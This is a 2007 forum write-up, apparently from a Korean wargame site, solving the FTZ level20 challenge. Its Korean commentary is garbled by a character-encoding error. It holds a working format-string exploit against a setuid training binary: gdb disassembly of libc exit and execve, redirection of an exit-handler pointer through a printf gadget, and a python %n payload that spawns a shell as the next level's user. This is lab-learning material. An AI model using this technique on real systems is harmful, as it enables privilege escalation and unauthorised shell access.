http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_level&no=2605 [º¹»ç]
level20 / exitÇÔ¼öÀÇ Ãë¾àÁ¡À» ÀÌ¿ëÇÏ¿©, execveÇÔ¼ö¸¦ ½ÇÇàÇؼ, ½©À» ½ÇÇàÇغ¸ÀÚ.
[level20@ftz in]$ cat ~/hint
#include <stdio.h>
main(int argc,char **argv)
{ char bleh[80];
setreuid(3101,3101);
fgets(bleh,79,stdin);
printf(bleh);
}
[level20@ftz in]$ gdb -q ~/attackme
(gdb) br main
Breakpoint 1 at 0x80483be
(gdb) r
Starting program: /home/level20/attackme
Breakpoint 1, 0x080483be in main ()
(gdb) br exit
Breakpoint 2 at 0x4004d8d6
(gdb) c
Continuing.
Breakpoint 2, 0x4004d8d6 in exit () from /lib/libc.so.6
(gdb) disass exit
Dump of assembler code for function exit:
0x4004d8d0 <exit+0>: push %ebp
0x4004d8d1 <exit+1>: mov %esp,%ebp
0x4004d8d3 <exit+3>: push %edi
0x4004d8d4 <exit+4>: push %esi
0x4004d8d5 <exit+5>: push %ebx
0x4004d8d6 <exit+6>: call 0x4003877d <__i686.get_pc_thunk.bx>
0x4004d8db <exit+11>: add $0x10b8e5,%ebx
0x4004d8e1 <exit+17>: sub $0xc,%esp
0x4004d8e4 <exit+20>: mov 0xffffebcc(%ebx),%ecx
0x4004d8ea <exit+26>: mov 0x8(%ebp),%edi
0x4004d8ed <exit+29>: test %ecx,%ecx
0x4004d8ef <exit+31>: je 0x4004d96d <exit+157>
0x4004d8f1 <exit+33>: jmp 0x4004d900 <exit+48>
0x4004d8f3 <exit+35>: nop
0x4004d8f4 <exit+36>: nop
0x4004d8f5 <exit+37>: nop
0x4004d8f6 <exit+38>: nop
0x4004d8f7 <exit+39>: nop
0x4004d8f8 <exit+40>: nop
0x4004d8f9 <exit+41>: nop
0x4004d8fa <exit+42>: nop
0x4004d8fb <exit+43>: nop
0x4004d8fc <exit+44>: nop
0x4004d8fd <exit+45>: nop
0x4004d8fe <exit+46>: nop
0x4004d8ff <exit+47>: nop
0x4004d900 <exit+48>: mov 0x4(%ecx),%eax
0x4004d903 <exit+51>: mov %ecx,%edx
0x4004d905 <exit+53>: test %eax,%eax
0x4004d907 <exit+55>: je 0x4004d94f <exit+127>
0x4004d909 <exit+57>: lea 0x0(%esi,1),%esi
0x4004d910 <exit+64>: mov 0x4(%edx),%eax
0x4004d913 <exit+67>: dec %eax
---Type <return> to continue, or q <return> to quit---
0x4004d914 <exit+68>: mov %eax,0x4(%edx)
0x4004d917 <exit+71>: shl $0x4,%eax
0x4004d91a <exit+74>: lea (%eax,%edx,1),%esi
0x4004d91d <exit+77>: mov 0x8(%esi),%eax
0x4004d920 <exit+80>: lea 0x8(%esi),%edx
0x4004d923 <exit+83>: cmp $0x4,%eax
0x4004d926 <exit+86>: ja 0x4004d946 <exit+118>
0x4004d928 <exit+88>: mov 0xfffefa48(%ebx,%eax,4),%eax
0x4004d92f <exit+95>: add %ebx,%eax
0x4004d931 <exit+97>: jmp *%eax
0x4004d933 <exit+99>: mov 0x8(%edx),%eax <--------- $edx+8ÀÇ °ªÀ» $eax¿¡ ÀúÀåÇÑ´Ù
0x4004d936 <exit+102>: mov %edi,(%esp,1)
0x4004d939 <exit+105>: mov %eax,0x4(%esp,1) <--------- $eaxÀÇ °ªÀ» $esp+4¿¡ ÀúÀåÇÑ´Ù
0x4004d93d <exit+109>: call *0x4(%edx) <-------- $edx+4ÁÖ¼Ò¿¡ ÀúÀåµÈ °ª(ƯÁ¤ÇÔ¼öÀÇ ½ÃÀÛÁÖ¼Ò)À» ½ÇÇàÇÑ´Ù
0x4004d940 <exit+112>: mov 0xffffebcc(%ebx),%ecx
0x4004d946 <exit+118>: mov 0x4(%ecx),%eax
0x4004d949 <exit+121>: mov %ecx,%edx
0x4004d94b <exit+123>: test %eax,%eax
0x4004d94d <exit+125>: jne 0x4004d910 <exit+64>
0x4004d94f <exit+127>: mov (%ecx),%edx
0x4004d951 <exit+129>: test %edx,%edx
0x4004d953 <exit+131>: mov %edx,0xffffebcc(%ebx)
0x4004d959 <exit+137>: je 0x4004d963 <exit+147>
0x4004d95b <exit+139>: mov %ecx,(%esp,1)
0x4004d95e <exit+142>: call 0x40038730 <_r_debug+142608>
0x4004d963 <exit+147>: mov 0xffffebcc(%ebx),%ecx
0x4004d969 <exit+153>: test %ecx,%ecx
0x4004d96b <exit+155>: jne 0x4004d900 <exit+48>
0x4004d96d <exit+157>: mov 0x1d0(%ebx),%esi
0x4004d973 <exit+163>: cmp 0x20c(%ebx),%esi
0x4004d979 <exit+169>: jae 0x4004d9a1 <exit+209>
0x4004d97b <exit+171>: nop
0x4004d97c <exit+172>: lea 0x0(%esi,1),%esi
0x4004d980 <exit+176>: call *(%esi)
---Type <return> to continue, or q <return> to quit---
0x4004d982 <exit+178>: add $0x4,%esi
0x4004d985 <exit+181>: cmp 0x20c(%ebx),%esi
0x4004d98b <exit+187>: jb 0x4004d980 <exit+176>
0x4004d98d <exit+189>: jmp 0x4004d9a1 <exit+209>
0x4004d98f <exit+191>: nop
0x4004d990 <exit+192>: call *0x4(%edx)
0x4004d993 <exit+195>: jmp 0x4004d940 <exit+112>
0x4004d995 <exit+197>: mov %edi,0x4(%esp,1)
0x4004d999 <exit+201>: mov 0x8(%edx),%eax
0x4004d99c <exit+204>: mov %eax,(%esp,1)
0x4004d99f <exit+207>: jmp 0x4004d93d <exit+109>
0x4004d9a1 <exit+209>: mov %edi,(%esp,1)
0x4004d9a4 <exit+212>: call 0x400d13ec <_exit>
0x4004d9a9 <exit+217>: nop
0x4004d9aa <exit+218>: nop
0x4004d9ab <exit+219>: nop
0x4004d9ac <exit+220>: nop
0x4004d9ad <exit+221>: nop
0x4004d9ae <exit+222>: nop
0x4004d9af <exit+223>: nop
End of assembler dump.
(gdb) disass execve
Dump of assembler code for function execve:
0x400d1400 <execve+0>: push %ebp
0x400d1401 <execve+1>: mov %esp,%ebp <--- ÇöÀç "½ºÅÃÆ÷ÀÎÅÍ"ÀÇ °ªÀ» "º£À̽ºÆ÷ÀÎÅÍ"·Î ÇÑ´Ù.
0x400d1403 <execve+3>: sub $0x18,%esp
0x400d1406 <execve+6>: mov %ebx,0xfffffff4(%ebp)
0x400d1409 <execve+9>: call 0x4003877d <__i686.get_pc_thunk.bx>
0x400d140e <execve+14>: add $0x87db2,%ebx
0x400d1414 <execve+20>: mov %edi,0xfffffffc(%ebp)
0x400d1417 <execve+23>: mov 0x1a8(%ebx),%eax
0x400d141d <execve+29>: mov 0x8(%ebp),%edi <---- $ebp+8¿¡ ÀÖ´Â °ªÀ» $edi¿¡ ÀúÀåÇÑ´Ù
0x400d1420 <execve+32>: mov %esi,0xfffffff8(%ebp)
0x400d1423 <execve+35>: test %eax,%eax
0x400d1425 <execve+37>: jne 0x400d1460 <execve+96>
0x400d1427 <execve+39>: mov 0xc(%ebp),%ecx <---- $ebp+12¿¡ ÀÖ´Â °ªÀ» $ecx¿¡ ÀúÀåÇÑ´Ù
0x400d142a <execve+42>: mov 0x10(%ebp),%edx <---- $ebp+16¿¡ ÀÖ´Â °ªÀ» $edx¿¡ ÀúÀåÇÑ´Ù
0x400d142d <execve+45>: push %ebx
0x400d142e <execve+46>: mov %edi,%ebx <--- $edi (= $ebp+8)¿¡ ÀÖ´Â °ªÀ» $ebx¿¡ ÀúÀåÇÑ´Ù.
0x400d1430 <execve+48>: mov $0xb,%eax <--- $eax¿¡´Â ½Ã½ºÅÛÄÝ(0xb = ¾Æ¸¶µµ "½ÇÇà"À» ¶æÇϴµíÇÔ)
0x400d1435 <execve+53>: int $0x80 <--- ÀÎÅÍ·´Æ®(½Ã½ºÅÛÄÝ°ª¿¡ µû¸¥ ½ÇÇà)
<--------------- ÇöÀç±îÁöÀÇ °á°ú·Î º¸¾Æ execve($ebx,$ecx,$edx) ·Î ½ÇÇàµÇ´Â ¸ð½À´Ï´Ù.
0x400d1437 <execve+55>: pop %ebx
0x400d1438 <execve+56>: cmp $0xfffff000,%eax
0x400d143d <execve+61>: mov %eax,%esi
0x400d143f <execve+63>: ja 0x400d1450 <execve+80>
0x400d1441 <execve+65>: mov %esi,%eax
0x400d1443 <execve+67>: mov 0xfffffff4(%ebp),%ebx
0x400d1446 <execve+70>: mov 0xfffffff8(%ebp),%esi
0x400d1449 <execve+73>: mov 0xfffffffc(%ebp),%edi
0x400d144c <execve+76>: mov %ebp,%esp
0x400d144e <execve+78>: pop %ebp
0x400d144f <execve+79>: ret
0x400d1450 <execve+80>: neg %esi
0x400d1452 <execve+82>: call 0x40038bc0 <__errno_location>
0x400d1457 <execve+87>: mov %esi,(%eax)
0x400d1459 <execve+89>: mov $0xffffffff,%esi
---Type <return> to continue, or q <return> to quit---
0x400d145e <execve+94>: jmp 0x400d1441 <execve+65>
0x400d1460 <execve+96>: call 0x40038470 <_r_debug+141904>
0x400d1465 <execve+101>: jmp 0x400d1427 <execve+39>
0x400d1467 <execve+103>: nop
0x400d1468 <execve+104>: nop
0x400d1469 <execve+105>: nop
0x400d146a <execve+106>: nop
0x400d146b <execve+107>: nop
0x400d146c <execve+108>: nop
0x400d146d <execve+109>: nop
0x400d146e <execve+110>: nop
0x400d146f <execve+111>: nop
End of assembler dump.
(gdb)
(gdb) br *exit+109
Breakpoint 3 at 0x4004d93d
(gdb) c
Continuing.
Breakpoint 3, 0x4004d93d in exit () from /lib/libc.so.6
(gdb) x/12x $esp
0xbffffac0: 0x00000000 0x00000001 0x4004d8db 0x401591c0
0xbffffad0: 0x40015360 0xbffffb24 0xbffffaf8 0x4003891f
0xbffffae0: 0x00000001 0xbffffb24 0xbffffb2c 0x4001582c
(gdb) set *0x401597bc=0x400d1401 <--- $edx+4¿¡ 0x400d1401 <execve+1> °ªÀ» ³Ö´Â´Ù. (call *0x4(%edx) µÉ°ÍÀÌ´Ù)
<--- execve+0°ªÀ¸·Î ³ÖÁö ¾ÊÀº ÀÌÀ¯´Â, push $ebp ¶ó´Â ºÎºÐÀ» °Ç³Ê¶Ù±â À§ÇÔÀÌ´Ù.
(gdb) br *execve+1
Breakpoint 4 at 0x400d1401
(gdb) c
Continuing.
Breakpoint 3, 0x4004d93d in exit () from /lib/libc.so.6
(gdb) c
Continuing.
Breakpoint 4, 0x400d1401 in execve () from /lib/libc.so.6
(gdb) x/12x $esp
0xbffffabc: 0x4004d940 0x00000000 0x00000001 0x4004d8db <--- ½ºÅÿ¡ 0x4004d940 ¶ó´Â °ªÀÌ ´õ µé¾î°¬´Ù.
0xbffffacc: 0x401591c0 0x40015360 0xbffffb24 0xbffffaf8 callÇÏ°Ô µÇ¸é, ½ºÅÿ¡ ÀÚµ¿ÀûÀ¸·Î RET°ª, Áïcall´ÙÀ½ÇàÀÇ ÁÖ¼Ò°ªÀ» ³Ö°Ô µÈ´Ù.
0xbffffadc: 0x4003891f 0x00000001 0xbffffb24 0xbffffb2c
(gdb)
<----- $esp+8 (= $ebp+8) ÀÇ °ª, À§ ½ºÅñ׸²»ó 0x00000001 °ªÀº execve($ebx,$ecx,$edx)Áß $ebx¿¡ ´ëÀÀÇÒ °ªÀÌ´Ù.
0x00000001°ªÀº $ebx°ªÀ¸·Î »ç¿ëÇϱ⿡ ºÎÀûÀßÇÏ´Ù.
½ºÅñ¸Á¶¸¦ º¯°æÇÏ¿©
0xbffffabc: ---------- ---------- ---------- 0x4004d8db
0xbffffacc: 0x401591c0 0x40015360 0xbffffb24 0xbffffaf8
0xbffffadc: 0x4003891f ---------- ---------- ----------
ÀÌÁß Æ÷ÀÎÅÍ·Î »ç¿ë°¡´ÉÇÑ À§ °ªµéÀÌ execve($ebx,$ecx,$edx) ÀÇ °¢ Àμöµé°ú ´ëÀÀÇϵµ·Ï ¸¸µé¸é µÇ°Ú´Ù...
pop¸í·ÉÀ¸·Î ½ºÅÃÀÇ ÀúÀåµÈ °ªÀ».. 1°³~4°³Á¤µµ »©¹ö¸°´Ù¸é À§ÀÇ "»ç¿ë°¡´ÉÇÑ °ª"µéÀ» execveÀÇ Àμö·Î »ç¿ëÇÒ¼ö ÀÖ°Ú´Ù.
call ÇϰԵǸé, ¹«Á¶°Ç ½ºÅÃÀÌ call ´ÙÀ½ÇàÀÇ ÁÖ¼Ò, 0x4004d940°ªÀÌ ÀúÀåµÇ¹Ç·Î.. ÀÌ °ªÀ» ¼öÁ¤Çϱ⿣ Á¶±Ý ¾î·Á¿òÀÌ µû¸¥´Ù.
0x4004d933 <exit+99>: mov 0x8(%edx),%eax <--------- $edx+8ÀÇ °ªÀ» $eax¿¡ ÀúÀåÇÑ´Ù
0x4004d936 <exit+102>: mov %edi,(%esp,1)
0x4004d939 <exit+105>: mov %eax,0x4(%esp,1) <--------- $eaxÀÇ °ªÀ» $esp+4¿¡ ÀúÀåÇÑ´Ù
0x4004d93d <exit+109>: call *0x4(%edx) <-------- $edx+4ÁÖ¼Ò¿¡ ÀúÀåµÈ °ª(ƯÁ¤ÇÔ¼öÀÇ ½ÃÀÛÁÖ¼Ò)À» ½ÇÇàÇÑ´Ù
À§ ±¸Á¶¸¦ Á¶±Ý ÀÌ¿ëÇϸé, ½ºÅÃÀÇ ±¸Á¶¸¦ Á¶±Ý º¯ÇüÇÒ¼ö ÀÖÀ»°Í °°´Ù.
$edx+8°ªÀº, $esp+4°ª¿¡ ÀúÀåµÇ´Â ±¸Á¶À̹ǷÎ, ÀÌ°÷¿¡ 0x400d1401 <execve+1> ÁÖ¼Ò¸¦ ³Ö°í
$edx+4¿¡´Â printfÇÔ¼öÁß
0x40074fb7 <printf+55>: pop %ebp
0x40074fb8 <printf+56>: ret
¸¦ ½ÇÇàÇÒ¼ö ÀÖ°Ô²û, 0x40074fb7 <printf+55>ÀÇ ÁÖ¼Ò¸¦ ³Ö°í ½ºÅÃÀÇ ±¸Á¶¸¦ È®ÀÎÇØ º¸°Ú´Ù.
[level20@ftz in]$ gdb -q ~/attackme
(gdb) br main
Breakpoint 1 at 0x80483be
(gdb) r
Starting program: /home/level20/attackme
Breakpoint 1, 0x080483be in main ()
(gdb) br exit
Breakpoint 2 at 0x4004d8d6
(gdb) c
Continuing.
Breakpoint 2, 0x4004d8d6 in exit () from /lib/libc.so.6
(gdb) set *0x401597bc=0x40074fb7
(gdb) set *0x401597c0=0x400d1401
(gdb) br *0x40074fb7
Breakpoint 3 at 0x40074fb7
(gdb) c
Continuing.
Breakpoint 3, 0x40074fb7 in printf () from /lib/libc.so.6
(gdb) x/12x $esp
0xbffffabc: 0x4004d940 0x400d1401 0x00000001 0x4004d8db
0xbffffacc: 0x401591c0 0x40015360 0xbffffb24 0xbffffaf8
0xbffffadc: 0x4003891f 0x00000001 0xbffffb24 0xbffffb2c
pop $ebp¿¡¼ $ebp¿¡ 0x4004d940ÀÇ °ªÀÌ ÀúÀåµÇ°í,
ret ¿¡¼ pop $eip¸¦ ÇϰԵǹǷÎ, $eip=0x400d1401 °¡ ¼öÇàµÇ°í, 0x400d1401<execve+1> ·Î ½ÇÇàÀÌ ¿Å°Ü°¡°ÔµÈ´Ù.
½ÇÇà°á°ú,½ºÅñ¸Á¶¸¦ »ìÆ캸ÀÚ
(gdb) br *0x400d1401 <---- <execve+1>¿¡ ºê·¹ÀÌÅ©¸¦ °É¾ú´Ù.
Breakpoint 4 at 0x400d1401
(gdb) c
Continuing.
Breakpoint 4, 0x400d1401 in execve () from /lib/libc.so.6
(gdb) x/12x $esp
0xbffffac4: 0x00000001 0x4004d8db 0x401591c0 0x40015360
0xbffffad4: 0xbffffb24 0xbffffaf8 0x4003891f 0x00000001
0xbffffae4: 0xbffffb24 0xbffffb2c 0x4001582c 0x00000001
(gdb)
ÀûÀýÈ÷ execveÀμö·Î »ç¿ëÇÒ¼ö ÀÖ°Ú´Ù.
(gdb) x/2x 0x401591c0
0x401591c0 <__DTOR_END__+4>: 0x001360d4 0x400160a8 <----- 0x001360d4 °ªÀ» execveÀÇ Ã¹¹ø° Àμö°¡ µÇ°Ú´Ù.
(gdb) x/2x 0x40015360
0x40015360 <_rtld_local>: 0x40015a38 0x00000003 <--- µÎ¹ø° Àμö´Â "ÀÓÀÇÀǹ®ÀÚ+NULL"·Î µÇ¾î¾ßÇϹǷΠ0x00000003 °ªÀº 0x00000000À¸·Î ¹Ù²ã¾ß ÇÑ´Ù
(gdb) x/2x 0xbffffb24
0xbffffb24: 0xbffffc07 0x00000000 <--- ¼¼¹ø° Àμö´Â "ÀÓÀÇÀǹ®ÀÚ+NULL"·Î µÇ¾îÀÖÀ¸¹Ç·Î ±×³É »ç¿ëÇÏ¸é µÇ°Ú´Ù.
(gdb)
(gdb) she
[level20@ftz in]$ cat > shell
#!/bin/sh
/bin/sh
[level20@ftz in]$ chmod 777 shell
[level20@ftz in]$ ln -s shell `perl -e 'print "\xd4\x60\x13"'` <---
[level20@ftz in]$ ls -al
ÇÕ°è 92
lrwxrwxrwx 1 level20 level20 5 12¿ù 8 22:39 ?`? -> shell
drwxrwxr-x 2 level20 level20 4096 12¿ù 8 22:39 .
drwxrwxr-x 3 root level20 4096 12¿ù 8 16:15 ..
-rwxrwxrwx 1 level20 level20 18 12¿ù 8 21:49 shell
[level20@ftz in]$ exit
exit
(gdb) set *0x40015364=0 <---- µÎ¹ø° Àμö¸¦ "ÀÓÀÇÀǹ®ÀÚ+NULL"·Î ±¸¼ºÇϱâÀ§Çؼ..
(gdb) c
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x40000be0 in _start () from /lib/ld-linux.so.2
(gdb)
Continuing.
Breakpoint 1 at 0x80483b8
Breakpoint 2 at 0x4004d8d0
sh-2.05b$ id
uid=3100(level20) gid=3100(level20) groups=3100(level20)
sh-2.05b$
----------½©È¹µæ¿¡ ¼º°øÇÏ¿´´Ù... (´Ù¸¸, gdb»óÅ¿¡¼ÀÇ ½ÇÇàÀÌ¾î¼ ±×·±Áö, ±ÇÇÑ»ó½ÂÀº ¾ÈµÇ¾ú´Ù.--------
Á¤¸®
$edx+4(0x401597bc)¿¡ printfÇÔ¼öÀÇ 0x40074fb7 <printf+55>: pop %ebp ÁÖ¼Ò¸¦
$edx+8(0x401597c0)¿¡ execveÇÔ¼öÀÇ 0x400d1401 <execve+1>: mov %esp,%ebp ÁÖ¼Ò¸¦
µÎ¹ø° ÀÎÀÚ·Î ¾²ÀÏ°ªÀÇ NULL°ª ±¸¼ºÀ» À§ÇØ $ebp+16(0x40015364)¿¡ 0°ªÀ» ÀÔ·ÂÇÏ¸é µÇ°Ú´Ù.
*0x401597bc=0x40074fb7
*0x401597c0=0x400d1401
*0x40015364=0
°ø°ÝÄÚµå ±¸¼º.
"%5$n" <--- 5$¿¡ ÇØ´çÇÏ´Â ÁÖ¼Ò¿¡ "0"°ªÀ» ÀÔ·Â
"\x64\x53\x01\x40" <-- 5$ÇØ´çÇÏ´Â ÁÖ¼Ò
"\xbc\x97\x15\x40\xbe\x97\x15\x40"
"\xc0\x97\x15\x40\xc2\x97\x15\x40" /// ¿©±â±îÁö 20byte
%20387x
%6$n
%61520x
%7$n
%54266x
%8$n
%11276x
%9$n
0x40074fb7
0x4fb7 = 20407 // 20407-20byte=20387
0x4007 -> 0x14007=81927 // 81927-20407=61520
0x400d1401
0x1401 -> 0x21401=136193 // 136193-81927=54266
0x400d -> 0x2400d=147469 // 147469-136193=11276
[level20@ftz in]$ (python -c 'print "%5$n"+"\x64\x53\x01\x40"+"\xbc\x97\x15\x40\xbe\x97\x15\x40"+"\xc0\x97\x15\x40\xc2\x97\x15\x40"+"%20387x%6$n%61520x%7$n%54266x%8$n%11276x%9$n"';cat) | ~/attackme
.........»ý·«...................... 6e243525
id
uid=3101(clear) gid=3100(level20) groups=3100(level20)
my-pass
TERM environment variable not set.
clear Password is "***************************".
À¥¿¡¼ µî·ÏÇϼ¼¿ä.
* ÇØÄ¿½ºÄðÀÇ ¸ðµç ·¹º§À» Åë°úÇϽŠ°ÍÀ» ÃàÇϵ帳´Ï´Ù.
´ç½ÅÀÇ ²öÁú±ä ¿Á¤°ú ´É¼÷ÇÑ ¼Ø¾¾¿¡ Âù»ç¸¦ º¸³À´Ï´Ù.
ÇØÄ¿½ºÄð¿¡¼´Â ½Ç·ÂÀÖ´Â ºÐµéÀ» ¸ð¾Æ ¿¬±¸¼Ò¶ó´Â ±×·ìÀ» ¿î¿µÇÏ°í ÀÖ½À´Ï´Ù.
ÀÌ ¸Þ½ÃÁö¸¦ º¸½Ã´Â ºÐµé Áß¿¡ ¿¬±¸¼Ò¿¡ °ü½ÉÀÖÀ¸½Å ºÐÀº ÀÚÀ¯·Î¿î ¾ç½ÄÀÇ
°¡ÀÔ ½Åû¼¸¦ admin@hackerschool.org·Î º¸³»Áֽñ⠹ٶø´Ï´Ù.
----------------
¼º°ø~ ^^; |
Hit : 4703 Date : 2007/12/08 09:42
|